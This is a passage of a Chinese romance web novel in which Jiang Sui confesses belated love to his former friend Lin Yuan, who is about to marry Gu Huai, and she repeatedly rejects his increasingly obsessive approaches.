“江随!接着!”少女在混乱里扔给他一截,不知道哪里找来的残棍,确认他接到武器之后,迅速找到安全的地方躲好,圈着手在角落里冲他喊,“别怕打出事!先打赢了再说!反正我们未成年!” 江随在那一刻都差点破功想笑。 他就知道,她从来不是什么乖乖女。 骨子里那股蔫坏的叛逆劲儿,比谁都野。 ………… 打赢和警察叔叔是一起来的,按林鸢的说法,两手准备,尽最大努力不吃亏。 但那次打架,还是他吃亏吃得最多的一次。 实在是全无准备——又或者是因为,用林鸢那时没好气的无语白眼来说便是:“一挑六还要管着招式好看是吧?江随你到底是打架还是想装逼?” 江随低头,扬起唇角,像又听到看到了她,说那话时生动无比的样子。 可下一秒,那笑容僵在唇边。 因为她那时,虽然嘴上不饶人,却胀红了眼,连夜色都掩不住她对他的不舍与担心。 那她现在呢?在替顾淮上药了吗? 像年少时一样,怕他疼,又怕他留下疤痕,小心翼翼,又狠下心,仔细挑开他伤口木刺,替他清理。 这样替他上药吗? 江随有些透不上气。 长睫滞顿地动了下,他蜷了蜷麻木的指节,伸手,从裤袋里摸出一个丝绒盒子,打开。 漂亮的明黄色钻石,在戒托上熠熠生光,是她最偏爱的颜色。 他曾经许诺过,不会叫别人欺负她。 她也抿着要笑不笑的唇角,一脸不在意般,傲娇地“嗯”了声。 他们,明明说好的。 他们明明,有一场最热烈最美好的青春,可为什么,却被他搞砸成这样。 江随眼热地,下意识摩挲起她喜欢的颜色。 直到发现,戒指沾了他的血,弄脏了。 很快,丝绒盒子咔哒一声,被当作废物,扔进垃圾桶。 她爱干净。 他要替她,再准备一份新的。 江随平静地想- 江随是在三天后的一个夜里,在北城等到林鸢的。 有些话,他只想单独和她说。 于是他听见他们,在楼下喁喁低笑,亲昵地道别。 或许,还有接吻。他知道,她回来了。 林鸢在楼道里,看见亮灯后的楼梯上,蓦然站着一个穿白衬衣的男人时,差点连尖叫都卡在喉咙里。 她无语地闭了闭眼睛,平缓着狂跳的心脏。 他为什么总是能这样,在她的生活里悄无声息地消失又出现。 林鸢下意识拧身往楼下看了眼,不知道是生怕顾淮误会,或是习惯使然。 江随指节僵硬地蜷缩起来。 林鸢压着嗓子,有些无力地问他:“江随,你到底又来做什么?” 被她眼里的不耐刺了瞬,江随咽了口,努力翘了下唇角,低声问她:“阿鸢,我们……就在这里聊,还是找个地方坐下聊?” 林鸢迷惑地看着他。 手机却在下一秒响起震动,林鸢莫名有些紧张,划开接听:“怎么了?” “听见你还没开门,怎么还不进去?”顾淮的声音,楼下和电话里的重叠。 林鸢心跳都加快,她只觉得江随如今的状态,俩人遇到怕是又要闹起来。 “没事,”林鸢说,“我妈妈他们回我继父老家了,家里没人,我在找钥匙。” 顾淮微顿了瞬,笑了笑:“好,那你快进去吧。” “好。” 林鸢挂了电话,将房门打开,隔了两秒,又关上。 站在门外,重新看向江随,烦躁地对他说:“江随,能不能麻烦你,不要再来打扰我的生活了。我和你没什么……” “阿鸢,我后悔了。”楼道的声控灯,感应迟钝地暗了下去。 “我后悔了。”林鸢听见他很轻地,在黑暗里低声重复道。 林鸢一滞,有片刻的惶然。 直到听见他继续说:“我后悔那样残忍地将你推给别人,我后悔每一次在你捧出真心时都无视你的勇敢,我后悔怯懦地,没有早一点直面对你的感情。” “我后悔曾经用那样愚蠢的方式,来逃避你对我的情意。” 因为他知道,林鸢骨子里是骄傲的。 所以她的骄傲和自尊,不会允许自己,在他“喜欢”别人时,在他和别人谈恋爱时,再将那份喜欢诉诸于口。 所以他逃避,他不回应。 “我以为那样……”他嗓音哽涩地说,“我们就可以永远是朋友,永远在一起。” 他曾经何其残忍。 而如今,当初挥出去的利剑,开始一刃一刃,剔骨去肉般,回馈到他的身上。 “阿鸢,对不起,我后悔了。” “我后悔这样晚,才敢承认自己对你的心意。” “我后悔没有早一点告诉你,其实我,从没有喜欢过别人。” “我想和你在一起。”他嗓音哽咽,又有莫名的笑意,低低道,“我想长长久久地,和你在一起。不止是以,朋友的身份。” 眼睛适应了黑暗,林鸢看见楼外老旧路灯,斜刺进来昏暗的幽光,打在身形颀长的男人身上。 他明明还是那样好看,却被照得像个囚徒,将判定生死的权杖,小心翼翼交予她手里,轻声问她: “你能不能,再给我一次机会?” 而此刻的林鸢站在黑暗里,捏着钥匙的手都在抖。 脑袋里有嗡嗡的低鸣,喉管里灼烧般地痛,烧着血腥气。 她应该哭的,却哽着嗓子笑了声,抬头,不可置信地问他:“江随,原来你知道我喜欢你啊?” 第43章 第 43 章 “她说她,早就不喜欢我…… 原来他知道。 他都知道。 林鸢只觉得, 像有什么东西在她胸腔里引了一把火,厚重黏腻的,压得她喘不上气的滚油, 被彻底点燃。 原来她所有没能诉诸于口的喜欢, 所有极力掩饰的, 小心翼翼的心动、酸涩、试探和犹豫不决, 一早透明在这个男人眼皮子底下。 他就像个操控皮影的匠人, 高高在上, 垂眼看她蹦跶。 听她带着笑意的哭腔,江随只觉得心脏像被某种猛兽的利爪狠狠攫住, 慌乱又无措地开口:“阿鸢, 对不起……对不起,我知道都是我的错, 你要怎么怪我、骂我、惩罚我, 都可以, ” 喉管滞顿了哽了下,难以启齿般, 艰涩道,“只要,别放弃我, 可以吗?” 林鸢眯了眯涩疼的眼睛, 只觉得这人的要求可笑至极。咽了口喉间哽意,突然很想问他一件, 她好奇到如今的事。 于是开口:“江随, 我一直很好奇,高考填志愿的时候,你让我和你填一个学校一个专业, 但你知不知道,按我那年的考分,上北理计算机系很悬啊?” 对,那一回是被她赌对了,但要是没搏到呢?如果落档,她或许就只能去第三第四志愿的学校。 那他准备怎么选择?她很好奇。 江随微愣,下一秒,毫不思索地将当年想法脱口而出:“要是运气不好,我也会陪你的。陪你去其它学校,陪你复读,或者带你出国,都可以。只要你愿意,哪里都可以的阿鸢。我只是……只是想和你在一起。” 林鸢盯着他,自嘲地轻笑了声。原来人气到极致,是真的会想笑的。 “江随,你是不是还觉得你特深情啊?”林鸢愤怒得太阳穴都胀痛,极力克制着声音,哑声质问他,“你到底凭什么,决定我的人生啊?就凭我喜欢你吗?!” “阿鸢……”江随彷徨地颤声叫她。 “别叫我阿鸢!”就是这声阿鸢,让她有了被珍视和小心对待的错觉。 “可我……我想和你在一起,我从没想过要和你分开,”江随慌乱地,急切又笨拙地开口,仓皇地冲口而出,“我喜欢你,因为我喜欢你……” 林鸢麻木地闭了闭眼睛,粗暴又无力地打断他:“你闭嘴吧江随!” 若是她从前听到这句话,大概会感动喜悦得哭出来,而此刻,只觉得心脏如遭重锤,直叫她钝痛地喘不上气。 仿佛一面装错了的鼓,鼓槌被遗漏在兽皮下,她看着那些封存的情绪,在鼓面下难过地敲击、挣扎, 却只是徒增烦扰和痛苦。 江随木愣愣地僵在原地。 狠狠喘了口气,林鸢看向他。 “江随,不说你这句话到底有多可笑,”她嗤道,“就算你真的喜欢我,我就要有所回应吗?” 江随猛地一窒。 “那我曾经那么努力靠近你,你为什么要视而不见啊?我曾经那么期待你回头看我一眼,你为什么要不闻不问啊?我曾经那么拼命地跟在你身后,只想追上你的脚步,你为什么只当作是理所应当啊?” “我曾经那么喜欢你,你为什么,要当作不知道?”林鸢嗓子都哽住,没想到,竟还会因为这样的话,眼眶发酸。 江随听着她的话,颤了颤唇,想道歉,想解释,却一个字也说不出口。 不知道因为身体的伤口,骨骼的隐痛,还是别的,整个人轻轻颤抖。 “而你现在却告诉我,你喜欢我?”林鸢嘲讽地问他。 随即,又低笑出声,深吸一口气,“但江随,我还是谢谢你。” “谢谢你将顾淮介绍给我。如果没有你的帮忙牵线,仅凭先前偶然的两面,我们也不会走到一起。所以,谢谢你。” “阿鸢,别说了……”江随只觉得她接下去的话,会叫他无法面对,祈求般沙哑开口。 林鸢置若罔闻。 “所以你如果真的,曾经将我当作过朋友。就算不祝福,也麻烦不要再来打扰我的生活了。” “因为我们就要结婚了。我现在,很幸福。” 昏暗里,江随终于看见她,在说这句话时,面庞都柔软起来,真心实意地,无声弯了弯唇。 “至于你曾经的承诺,也没有再履行的必要。因为我们的婚宴,并不准备邀请你。” “还有,”林鸢看着他,冷静而平淡地告诉他, “我其实早就不喜欢你了。”- 林鸢利落地转身,开门进了屋,身后的声控灯,似乎终于在关门时亮了起来。 她换鞋,进卧室,没开灯,坐在安静的床沿边。 为了不扰民,竟就连骂他,都不能畅快淋漓。 就像她这场暗恋一样憋屈、窒息。 林鸢闭眼,狠狠抹了把脸,借着窗外的路灯,拿了干净的换洗衣服。 浴室里响起嗡隆隆的水声。 林鸢站在花洒下,让温烫的热水,尽可能地,包裹住她微微颤抖的头发、眼睛、嘴唇、身体。 曾经她一开始以为,悄悄喜欢上江随这件事,是这个世界上最美好的事情。 仿佛捡到颗漂亮的宝石,揣在口袋,除了自己,没有任何人知道这个秘密。 时不时可以看看它、触碰它,那样愉悦,那样充满期待。 可后来才明白,那份愉悦是建立在,期待和他有明天、有将来,而他也终将有所回馈的基础上。 所以越到后来,那点期待落了空,她开始发现她所有的情绪,都会被那个人的只言片语、细微神情,甚至一个无意义的动作牵着走。 她开始战战兢兢,开始小心翼翼,开始患得患失。 开始将那份喜欢压抑在心底,克制在喉咙里。而她也不得不接受,江随并不喜欢自己的事实。 于是她安慰自己,其实那颗宝石带来的快乐,本来就不属于她,还回去,也是应该的。 可原来,那颗宝石的主人,早发现了她偷藏的证据。 甚至或许,那就是他扔在路边,随意等人上勾的无聊把戏。 就像江随养在玻璃缸里观察的蚂蚁。 藏着颗自以为珍宝的碎砾,却被他透过透明玻璃,看着她将其视若珍宝、东躲西藏,又偷偷期待,反复表演拙劣的,口是心非的闹剧。 林鸢闭着眼,轻轻低头,将脸埋在掌心里。颤着肩线,在热汽与水声里笑起来。 她甚至……宁愿他是真的从来没喜欢过她。 那样,她就永远可以是那个外人以为的,骄傲的林鸢。 而不用像此刻,她都不知道是该问江随,还是问问自己。 林鸢。 人怎么可以,活成这种笑话- 李想到酒吧的时候,江随面前的威士忌瓶,已经空了一半。 楼下音乐低吟,他没好气地瞟了眼沙发上神色不明,深更半夜独自买醉的男人:“哟,今天想起你还有个兄弟了?我还以为我在港城陪的那个,拉回北城就火化了呢。” 江随手里还握着半杯酒,面色平静地看着他。 腾一下靠进他侧手沙发里,李想扫了圈,随口问:“不会就叫了我吧?” 仰头将杯子里剩余的灼辣酒液灌进喉管,放下酒杯,江随抬眼问他:“是你叫庞浩然,不要告诉我的。” 陈述的语气。 李想一下就来火了,他劳心劳力地在港城陪了他几个月,这是还他妈来兴师问罪了? “对对对!就是我做主让他们都别告诉你的!”李想倾身拍了下茶几,语气极冲地对他说,“你有什么冲我来,你怪我!行吧?!” 江随沉默地看着他,说不出话。 他不是不分好歹的人,他知道谁是真心实意,不求回报地对他好。 可他不明白,李想为什么不告诉他。 许久,他突然问:“李想,我这个人,是不是真的很差。” 李想一滞,看着他。过了很久,火气渐消,有些无奈地叹了口。 “阿随,你作为朋友,很好。真的很好。”李想动了动嘴,头一次在他面前,斟酌开口,“但对林鸢来说,你可能,并不那么适合她。” 江随心口一缩,无意识地动了动下颌,抿紧唇。 李想看着他:“你还记得吗?那时候你不是和我说过,希望她活得肆意自由一点儿,希望她不要处处顾忌别人的感受,希望她在谁面前都不用憋着自己性子。” “所以家里给你的哪条路,你都不会选。你不就是想,就算没有两边家里助力,你以后,也能护着她,顾着她。”李想看着咬紧牙关的江随,郑重道,“那你现在,又要做什么呢?你也要和别人一样,不给她选择吗?” 江随怔忡愣住。 “她已经要结婚了,江随。我看她,很开心。”李想继续道,“要不……算了吧。” 江随咽了口梗了枚横针似的喉管,想开口说一声什么。 他想信守诺言,想让她自由选择。 想开口说一声:好,只要她开心就好。 可最终,困兽般的努力挣扎后,他只说:“怎么可能算了?怎么可以算了。” “李想,你不清楚,她这个人,特别会骗人。”他偏开头,有些脱力般,倾身用胳膊支住自己膝盖,低声重复道,“真的,特别会骗人……” “你不知道,她说自己不想参加去港城的夏令营,因为她不爱坐飞机,其实……就是不想给她妈妈增加负担。” 那他就陪他留在北城,陪她在北城过暑假。 “你不知道,她说她小时候,特别扛揍,其实怕疼怕得要命。不然,像她那么爱美的小姑娘,怎么会连个耳洞都不敢打。” 那他就收集其它宝石首饰,等她喜欢的时候,拿给她。那他就让叫她受痛的人,也吃些苦头。 “你不知道,她说她……”他几乎要哽咽出声,“她不喜欢在周五穿别的衣服,因为嫌麻烦。其实只是… …她就那几件衣服,穿来学校,反而怕人笑话。” 那他,就陪她一起穿校服。 “你不知道……” 他什么都可以陪她的,就是……别叫他算了。 江随说到后来,李想只觉得他,好像有些醉了。 他话音仿佛一首没有正式收尾的歌曲,重复着循环的旋律与歌词,直到时间的进度条行至尾端,再也听不见任何声音。 过了很久很久,李想看见他深深把头低下去,仿佛要用手撑住额头,才有力气重新艰难开口。 只是说出第一个字,就开始藏不住哭腔。 “她说她,不喜欢我了。”他声音发哽,几乎是咬着牙,憋出来的每一个字,失魂般颤声道,“她说她,早就不喜欢我了。” “可是,”身体和声音,都带着克制不住的微微颤抖,又拼命压抑,像在笑。呓语般,哽哑喃喃道,“我喜欢她啊……” “我从来都……喜欢她。” 第44章 第 44 章 “阿鸢,别怕,我会藏好…… 也不知道过了多久, 李想终于开口:“林鸢从前是很喜欢你,但阿随,不管多深厚的感情, 没有回馈, 都是经不起消耗的。就像你……”李想顿了顿, “你自己, 不也深有体会吗?” 江随僵硬地哽咽了口, 没有说话。 李想看见他用手背压了下眼睛, 红着眼,抬头看他, 低低开口:“我知道, 过去的这么多年,面对她的心意, 我懦弱, 我逃避, 我明明喜欢她,却不敢承认, 我自欺欺人。就连在你们面前,也从来避而不谈。” “但所有做错的事,我都可以改。所有带给她的伤害, 我都可以弥补。我拥有的一切, 也都可以给她。” “就是,别叫我这么算了。” 楼下驻唱的男歌手, 不知道什么时候停了口, 偌大的场地里,只剩寥寥几桌,骤然静谧的间隙, 就好像谁都不愿给他回应。 李想突然有些不忍说他,却还是劝道:“那你有没有想过,她已经不需要了呢?” 江随看着他,颤了颤唇,似乎想说什么,却怎么也发不出声。 他本来就已经像个不小心摔了糖果罐子的小孩,妄图将捡起来的,带着裂缝却还算成型的玻璃瓶抱在怀里,小心保藏。 而他这句话,就像挥出去的手,将他重新捧起来的糖果罐子,一把打到地上。玻璃混着糖粒,掉得四分五裂。 李想以为他要生气,却听他突然笑了声。 “可我做不到,”江随眸底血丝蜿蜒,近乎偏执地重复道,“李想,我做不到,我从没想过要和她分开。所以我做不到,也放不下。你别说了……” “可他们已经要结婚了,”李想加重语气,妄图敲醒他,“你又能怎么办?” “那我就等下去,”江随喉咙泛酸,语气却平静下来,“等她分手,等她离婚。我总会有机会的,不是吗?” 李想一滞,张了张嘴,没能出声。 他忽然有些后悔,没有早点儿告诉江随实情了。 他怎么忘了,陆家让他遵循的“分寸”,是明文律法下的分寸。 而男女感情这种事,讲的只能是道德- 林鸢没想到第二天,江随还敢来找她。 回科创园的路上。 “小林子,那不是你高中的大帅逼同桌兼咱们大股东吗?”杜莱胳膊肘拐了拐她,瞅了马路对面汽车边的江随两眼,感慨道,“好久没看见他了啊,这脸色怎么苍白得跟我加了一星期班似的。” 杜莱乐呵,玩笑似的,“难不成他们做游戏的,干到CEO了也要自己做建模?” 林鸢看见他,一阵酸苦就仿佛从昨晚延续至今,压不住地从胃里犯上来,偏还不能表现出什么。 “估计来找谢师哥的吧。”林鸢还没说完,手里手机就震了起来。 林鸢一顿,低头看见个陌生号码。 再抬眼,马路对面的江随,正贴着手机在耳边。看见她厌烦的视线对过去,有些滞涩地抿唇笑了下。 “小林子,是找你的?那我先上去了啊。”杜莱没心没肺道。 林鸢攥紧手机,压了压呼吸,笑着冲杜莱说:“行,那你先上去吧。” 这一侧来来往往的人多,林鸢看了眼正准备过来的江随,稍抬手制止,自己过了人行道。 面前男人黑色修长的西装裤,白衬衣,精致的暗纹在衣料上蜿蜒。 此刻天光正亮,林鸢看清他因为比先前清瘦,更棱角分明的下颌上,有新长出的皮肉的痕迹。夹杂着未愈的新伤。 林鸢咬了咬牙,无言地看着他。 江随见她过来,弯起笑,只是神色有些小心的意味,动作不太自然地伸手,对她说:“阿鸢,这是我们的,第7张合照。” 林鸢一滞,下意识低头看过去。 一张拍立得模样,滤镜像沾了旧时光的相片。 照片里,是她和江随站在人偶两边。 俩人笑容如同戴着头套的人偶,唇角弧度愉悦地定格。 是她生日那天,在游乐园的照片。 林鸢脑袋里竟条件反射般地想起,他们曾经一共有5张合照。 可她不知道也不想知道,他数错的意义在哪里,她只觉得,难堪、羞耻、太阳穴的青筋都跳得疼。 因为她竟然本能的,全都记得。 这种感觉,让她又难受又愤恨。 她咬牙,攥紧拳站在原地。 江随见她不接,也不说话,有些紧张起来,赶紧说:“阿鸢,我昨晚回去,想过了,你等了我那么多年,我等多久,都是应该的。你……不要着急,只要再给我一次机会。” 林鸢滞顿地抬头,眯了瞬眼睛,迷惑地看着他,没有丝毫感动,只有震惊、气极后的好笑,和觉得他不可理喻。 “江随,”她看着他,嘲讽出声,“你是不是从来不上网啊?” “你是不是从没听过,迟来的深情比草贱这句话?” “你知不知道你现在的样子,特别可笑?” 江随僵在原地,说不出话。 递出去的相片,久久没人接受,他手臂不自然地垂落到身侧。 林鸢看着他一瞬苍白到近乎病态的面色,隐藏在身体里的那份可怜的恶毒,又不受控地升腾起来。 她打量着他,突然问:“江随,你现在是不是觉得,特别难受?” “看见我和顾淮在一起,看见我们牵手、拥抱、亲吻,让你觉得,非常痛苦?” 江随克制着微微颤抖的身体,有些怔愣地看着她。 “那劳请你想象一下,我每次看见你换不同的女朋友,每次看见你和别人在一起,是什么感觉。而你带给我的这份痛苦,是不是该用你交往过的女朋友数量,来叠加啊?” “你说你喜欢我,一直都喜欢我,”林鸢好笑地呵了声,“你自己听听,这像句人话吗?” “你喜欢着我,然后不停地交女朋友?” 江随盯着她,蓦然开口:“阿鸢,可我什么,都没有对她们做。” “那韩知希呢?”林鸢低嗤,“我们要不要回一中操场主。席台去看看,一起帮你回忆一下,你们当年的壮举?” 江随浑身绷紧,没有丝毫解释的借口。 可他知道,他一定得说点什么,做点什么,才可以给自己争取一线生机。 “阿鸢,对不起。我知道,这些都是我自作自受。”江随沙哑出声,努力弯了弯唇,轻声向她说,“我知道,我自私、怯懦、逃避、口是心非。但我会改的,以后,我都会改的,你再给我一次机会,让我弥补你,好不好?” “你让我再给你一次机会。”林鸢盯着他,点了点头,笑出声来,问他,“可你从前,给过我吗?” 江随看见她眼眶里骤然蓄起的水汽,只觉得那滚烫的湿濡,浸泡上他的心脏。 尖锐灼人的疼痛,一路蔓延,让胸腔里窒得喘不上气来。 他本能地想起从前的林鸢。 想起一次次,她在他面前小心翼翼试探,柔软的触角,无数次碰到锋利的刃,于是压抑克制着喜欢,退到安全的朋友的界限。 反反复复。 他说不出话来,因为不管说什么,那些伤害,都切切实实地存在。 林鸢看着他一言不发的样子,突然问他:“江随,你知道我先前,为什么还有心,和你做普通朋友吗?” “因为我觉得,作为朋友,你不喜欢我,并没有错。你不回应我的感情,你和别人谈恋爱,也没有错。” 江随怔愣地看着她。 林鸢深深了吸了口气,朝他摊手:“江随,照片给我。” 江随一顿,有一瞬间不可置信的喜悦。他迟钝地伸出手,小心翼翼,将照片交给她。 林鸢没有停顿,想也没想,当着他的面,将照片撕成两半。 “但现在,没有了。” 江随不知道林鸢是什么时候走的 ,他站在垃圾桶边,小心地将那两张碎片,从废纸盒、空罐堆里捡回来,掖着袖口,擦拭干净。 不知道为什么,长睫本能地轻颤了瞬,他突然鼻腔猛地一酸。 残破的胶片上,她为了不要和他一起的合照,把自己那半边,都撕坏了- 月中,林鸢和顾淮一道,去预定的婚纱店试婚纱。 他们婚期定得有些急,试穿的尺寸如果不合适,还要加急修改。 抹胸款的出门纱,林鸢挑了比较经典的款式。 垂摆缀了一颗颗水晶,漂亮得像童话故事里公主的礼服。 只是她准备试穿第二件晚宴纱时,顾淮被工作人员告知,尾款的信用卡有些问题,叫他下楼去看一下。 林鸢自然未做它想,穿着第一件婚纱站在舞台似的试衣镜前,准备等顾淮和工作人员来了,再去换第二件。 直到听见楼梯上脚步声,林鸢欣喜地回头。 却在看见来人时,心脏都停跳了一瞬。 “阿鸢,其实你一直很好看。”江随站在楼梯口,笑意温柔看着她,“但今天格外。” 男人那双桃花眼里,仿佛总带着几分水汽,眉眼顶级,连唇形都格外优越。鼻梁却高挺,眉骨又锐利,那份锋利的骨相英气,将漂亮的精致中和,随意一眼,便给人极大的冲击力。 明明他还是这般模样,林鸢却觉得他有些陌生。 “你……”林鸢不可置信地看着他,心跳不自觉地因为紧张,和莫名的恐慌而加快,问他,“你为什么会在这里?” 江随看着她,笑了笑:“因为你第一次穿婚纱的样子,我也想见。” 林鸢脑子有一瞬的空白,微提着婚纱下摆的手指不自觉地收紧。 “江随,”林鸢嗓子都发紧,“你能别发疯吗?” 他慢腾腾向前,靠近。 “我这些天,认真想过了。” “如果你和他在一起开心,那你们……就在一起。你……可以喜欢别人,”江随艰难开口,笑着对她说,“只要别推开我就行。反正我的本意,就是能一直陪着你。” 楼梯上又有了新的脚步声,和交谈。是顾淮和那位工作人员的声音。 “江随,算我求你了,你……”林鸢头皮都发麻,只觉得眼前江随,陌生到叫她害怕,“你先走吧行不行?” “阿鸢,别怕。”江随微低头,垂眼看着她,漂亮的眼睑晕红,冰凉指尖揩上她侧颊,很轻地笑了声,低低道,“我会藏好的。” 第45章 第 45 章 因为我喜欢顾淮,我想嫁…… “是卡面过期了吗?我卡里还有钱, 我先下去……” 顾淮一上来,就看见林鸢站在楼梯口,神色莫名有些难掩的紧张和不安, 这样问他。 “想什么呢?就是他们机器出了点儿问题, 没事儿, 已经好了。”顾淮好笑, 伸出胳膊捏了捏她手, “怎么没换第二……”顾淮一顿, “手怎么这么凉?” 林鸢下意识瑟缩了瞬,嗓子发紧, 尽量撑起自然的笑:“露肩的, 没想到还是有点冷。” 顾淮无奈地笑,搓了搓她手臂, 偏头指指沙发:“怎么不穿我外套?” 他掌心干燥热意贴上来, 林鸢终于放松了几分, 可视线,却丝毫不敢往角落里, 漂亮的纱幕后扫。 “林小姐,我陪您去换第二件吧。长拖摆的比较难穿,我帮您整理一下。”工作人员挂着职业素养极佳的笑意说。 “好, 谢谢。”林鸢看了她一眼, 点头。 “去吧,等你。”顾淮笑着拿掌心, 又捂了捂她肩骨皮肉最薄的地方, 似乎那个位置最凉。 “嗯。”林鸢轻声应他,点点头。 只是不知道,是她们行径的空气带起了风, 还是她的错觉,林鸢只觉得某一处的纱幕,有几不可见的晃动。 她浑身皮肤绷紧,肩骨都微微耸起来,闭了闭眼,压着呼吸往换衣台走。 直到工作人员拉上遮挡的帷幔。 片刻后,顾淮侧身,扫了眼偌大安静的,只剩换衣间里低声交谈的楼面,垂了下眼,坐回沙发里- 林鸢在几天后某个加班的夜里,出了科创园,再次遇上江随。 在看见他的那一瞬,穿着婚纱站在明亮高台上,欢喜被提心吊胆取代的感觉再次袭来。让她身上罩着柔软宽大的卫衣外套,依旧像被他冰凉指节碰了下脸颊,像被他掌心微粝的血痂轻擦过皮肤,冷得打了个寒颤。 她想过,这几天江随,一定是还会来找她的。 逃避没有用。所以她将他联系方式全部拉回,只是没想到,他一个电话一个消息也没有,竟又是这样无声无息,突然地找来。 “今天又有什么事,江随,要不你一次性说完吧。”林鸢仰头,尽量平静地看着他说道。 江随牵了牵唇角,想让自己看上去自然一些,可最终那笑意还是失了随性,涩然开口:“他今天没来接你,所以我才来的。” 林鸢脑袋嗡地一声,他那天那句“我会藏好的”,像套在她身上隐形的锁链一样,突如其来地将她收紧。 狠狠捏了捏手指,林鸢说:“江随,我真的不知道,你到底在发什么疯。你能不能……你能不能正常一点?” 江随呆呆地站在原地,路灯下,单薄的白衬衣下摆,被夜风掀起瑟然的微晃。 “可阿鸢,是你说,会考虑一下的。”所以他听话地藏了起来。 强牵起唇角笑了下,仿佛希望她反驳,希望她否认,江随长睫微动,努力用玩笑般的语气,轻声问,“你骗我的啊?” 林鸢喉间一哽,只觉得他不知所谓不可理喻,大声道:“你难道听不出来我是在敷衍你吗?你看不出来我一点都不想见到你吗?我只是不希望你把我的幸福搞砸!你明白了吗江随?!” 她吼完这句话,几乎要哭出来。 为什么犯错的人明明不是她,这些担惊受怕的难堪,害怕失去的酸苦,却要她来承担。 “阿鸢你……你别生气,”他伸出手,想像从前一样,轻轻安抚她微颤的肩。可下一秒,又在她眼里看见毫不掩饰的抗拒、敌视,与厌恶。 手指仿佛被她眼里水汽烫了下,滞顿在半途,无所适从。 喉管哽意在齿间滚了滚,江随强迫自己收回手。 “我知道,你没有骗我,你不会骗我的。”他欺人自欺般安慰着自己,替她解释道,“你只是,在那样仓促的时间里,没有想好。” “那你现在能不能,再考虑一下?”他小心翼翼地问。 林鸢咬牙盯着他,粗重地呼吸,缓了许久,突然笑了声,开口问他:“江随,所以你的意思是,即便我和顾淮在一起,即便我们结了婚,以后只要我需要,我还是可以随时来找你,是吗?” 江随神色有些痛楚的蹇滞,却仿佛终于窥得一线天光,笨拙地牵了下唇角,嗓音沙哑而艰涩,对她说:“是的,可以。只要你需要,我就会来陪你。你有任何想要的,我也会想尽办法,给你最好。” 林鸢盯着他,继续问:“那你的身份,就算是我见不得光的情人,对吧?那以后,我不允许你像从前一样再交女朋友,不允许你结婚,更不允许你和别人有孩子。但我和顾淮,总会有的。这样也可以,是吗?” 林鸢这些话,让江随脑子有片刻空白。 仿佛鱼缸里那条抽干水,奄奄一息的鱼,终于被人发现。却是个只当残忍为有 趣的小孩,伸手将他捞起来,嬉笑着扬起胳膊,狠狠将他掼在地上。疼得他四肢百骸都失去知觉。 可他已经踏在一条千刀万刃的绝路上,除了答应,似乎别无他法。 “可以。”于是他麻木地弯唇,极尽艰难,哽哑开口,“只要你别不见我,别推开我,别放弃我。” “我都可以。” 林鸢眯了瞬眼睛,仿佛有细细密密的,深藏在软壳里的痛楚从心口蔓延。 她忍不住问:“你还是江随吗?” 还是那个穿着白衬衣,坐在马背上,站在阳光下,笑意恣肆,仿佛无所不能的少年吗? 林鸢这话,似乎让江随终于感知到了秋夜的凉意,整个人微微轻颤起来。 他明白,她在问他:这还是,我曾经喜欢的江随吗。 可他……又有什么办法。 这份心意,他面对地太迟,勇敢得太晚。 但偏偏,从蕃息的伊始,就从未想过要放弃。 他不明白这份感情,早就是一条布满梗刺的荆棘吗?他明白,可他依旧只能紧紧攥住,毫无退路。 林鸢看着他,看着他极尽克制,却依旧藏不住的脆弱和仓皇。 对她来说,一份感情再重,她再喜欢一个人,也不会拿自己的尊严和人格去交换、去抵偿。 她不明白,江随为什么要这样。 过去的那么多年,即便江随从未仗势压人,可也从来都是天之骄子,从来都没给任何人低过头。 她从未见过他,委曲求全成这副姿态。 他难道听不出来……她是在羞辱他吗? 林鸢看着萧瑟的夜色里,他难过的模样,一点没觉得爽快,反而被铺天盖地的无力感和酸楚淹没。 她甚至开始有些相信,或许,他真的喜欢她。 可这些,又还有什么意义呢? 就像她小时候最爱玩的积木,就算此刻有谁捧了一盒最新的,最漂亮的在她面前,她也早就失去了那份渴求和欣喜。 她不需要了。 所以她开口,郑重地向他说:“但江随,我不愿意。不管你是何想法,是何选择,我不愿意。” 江随几乎绝望,焦灼而痛苦地问她:“可是阿鸢,你不想,和我在一起了吗?” 他们明明近乎朝夕共处地相伴了七年,明明每一次站在选择的岔路口,只要他伸出手,甚至只需要一个鼓励的笑意,她便能义无反顾地靠近他,走向他。 为什么这次,他如何努力,她都视而不见了。 林鸢压着胸腔,深深地呼吸,无视他摇摇欲坠的克制与惶惑,字句清晰地对他说:“对,我不想和你在一起了。” 动了动唇,他挣扎着开口:“为什么,为什么这次,不可以?” 林鸢有片刻滞顿。 “江随,你是想问,”她看着他,“为什么这次,我不能像我们毕业时那样,不能像我订婚时那样原谅你。为什么这次,我不能再给你一个机会,是吗?” 江随沉默地盯着她。 深吸一口气,林鸢道:“因为这次不一样。” “为什么?”腿骨骨缝里,叠来隐隐的酸痛,叫他有些站不稳。可他依旧不死心般,红着眼,执拗地问。 可他其实知道,他在她说出“这次不一样”时,就已经是个即将被行刑的囚徒。 他看见那道令签,被人扔到地上,他想挣扎、想逃脱、想让她,再给他最后一次机会。 可又仿佛明白,一切都是徒劳。 他只能盯着她,一言不发,呆立般站在原地,等待她的判词。 于是他听见林鸢,含着笑意,一字一顿地告诉他:“因为我喜欢顾淮,我想嫁给顾淮。你听懂了吗?江随。”- 江随不明白,为什么连这样都不行。 他就想陪着她,就想……永远和她在一起。 真的不可以吗? 他已经没有更多的时间了。 他没办法再自欺欺人,没办法再骗自己,林鸢还站在原地等他。 他早就不知何时走到了一口枯井边,踏错最后一步,掉落深渊。 任凭他呼喊地再大声,都没有任何声音会给他回应。 因为井口的林鸢,早就走了。 他也想靠自己爬上去,可不管他如何努力,他办不到。 枯井岩壁上腐朽的青苔,像掌心汩汩鲜血般黏腻。无论他奋力攀爬,依旧坠回原地。 他真的没有办法了。 因为他知道,一旦林鸢结了婚,他就更不可能有机会接近她,陪在她身边了。 指节下意识地蜷缩,江随麻木地,狠狠抠剥起掌心反复结好的血痂。 那点被碎瓷割伤的破口,至少还能让他体会到,林鸢留给他的痕迹。 不知何时,不远处便利店门口,两个孩童的吵闹声,勉强将江随拉回些神思。 他看见一对兄弟在哭闹,在争吵,在抢夺。 而他们的母亲在怨恨地调和:“你不是玩了这么久了吗?!让给弟弟玩一下怎么了?!” “他拿去了就不会还给我了!你们每次都这样!凭什么我要让给他!”紧紧抱着玩具的大男孩喊道。 “我就要我就要!让妈妈给你买别的!我就要这个!”稍小些的,不管不顾地抢夺、哭闹。 “行了行了!你们丢不丢人?赶紧给弟弟!”母亲帮忙伸手去抢,威胁道,“不给下次什么都不给你买了!” 